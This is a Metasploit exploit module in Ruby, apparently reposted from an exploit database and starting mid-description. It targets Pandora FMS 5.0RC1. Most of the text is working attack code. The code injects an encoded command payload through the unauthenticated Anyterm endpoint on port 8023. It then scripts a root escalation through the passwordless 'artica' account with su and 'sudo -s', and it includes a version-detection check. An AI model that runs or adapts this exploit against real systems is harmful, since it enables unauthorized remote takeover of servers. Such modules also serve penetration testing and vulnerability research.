It will leverage an unauthenticated command injection in the Anyterm service on port 8023. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1 the user "artica" is not assigned a password by default, which makes it possible to su to this user from the "pandora" user. The "artica" user has access to sudo without a password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0 and lower force a password for the "artica" user during installation. }, 'License' => MSF_LICENSE, 'Author' => [ 'xistence ' # Vulnerability discovery and Metasploit module ], 'References' => [ ], 'Payload' => { 'BadChars' => "", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl python', } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Pandora 5.0RC1', {}] ], 'Privileged' => true, 'DisclosureDate' => "Jan 29 2014", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8023), OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']), ], self.class) end def on_new_session(client) print_status("#{peer} - Trying to escalate privileges to root") [ # ignore SIGHUP so the server doesn't kill our root shell "trap '' HUP", # Spawn a pty for su/sudo "python -c 'import pty;pty.spawn(\"/bin/sh\")'", # Su to the passwordless "artica" account "su - artica", # The "artica" use has sudo rights without the need for a # password, thus gain root priveleges "sudo -s", ].each do |command| vprint_status(command) client.shell_write(command + "\n") end super end def check # Check version print_status("#{peer} - Trying to detect Pandora FMS Remote Gateway") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "anyterm.html") }) if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway") print_good("#{peer} - Pandora FMS Remote Gateway Detected!") return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Sending payload") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "/anyterm-module"), 'vars_post' => { 'a' => "open", 'p' => "`#{payload.encoded}`" } }) if !res || res.code != 200 fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!") end end end # Iranian Exploit DataBase = http://IeDb.Ir [2014-02-08]
